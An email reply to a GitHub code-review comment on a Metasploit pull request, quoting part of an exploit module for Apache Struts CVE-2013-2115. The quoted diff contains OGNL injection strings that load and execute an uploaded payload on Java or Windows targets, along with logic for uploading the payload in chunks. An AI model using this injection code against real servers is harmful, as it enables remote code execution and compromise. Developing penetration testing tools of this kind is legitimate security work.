Yep. Will get on these first thing tomorrow.

Juan, Java was working last I checked but I did change to Linux payload to
test the bourne stager. I bet I've just deleted something I needed by
accident during the testing.
On 29 May 2013 23:49, "Meatballs1" <notifications@github.com> wrote:

> In modules/exploits/multi/http/struts_cve-2013-2115.rb:
>
> > +			exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
> > +			exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
> > +			exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
> > +			exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
> > +		when 'windows'
> > +			@payload_exe = "./#{@payload_exe}.exe"
> > +			exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
> > +		else
> > +			fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
> > +		end
> > +
> > +		print_status("Preparing payload...")
> > +		#Now with all the arch specific stuff set, perform the upload.
> > +		#109 = length of command string plus the max length of append.
> > +		sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length
> > +		chunk_length = 2048 - sub_from_chunk
>
> Can the chunk_length be greater if a POST request is used?
>
> —
> Reply to this email directly or view it on GitHub<https://github.com/rapid7/metasploit-framework/pull/1870/files#r4447408>
> .
>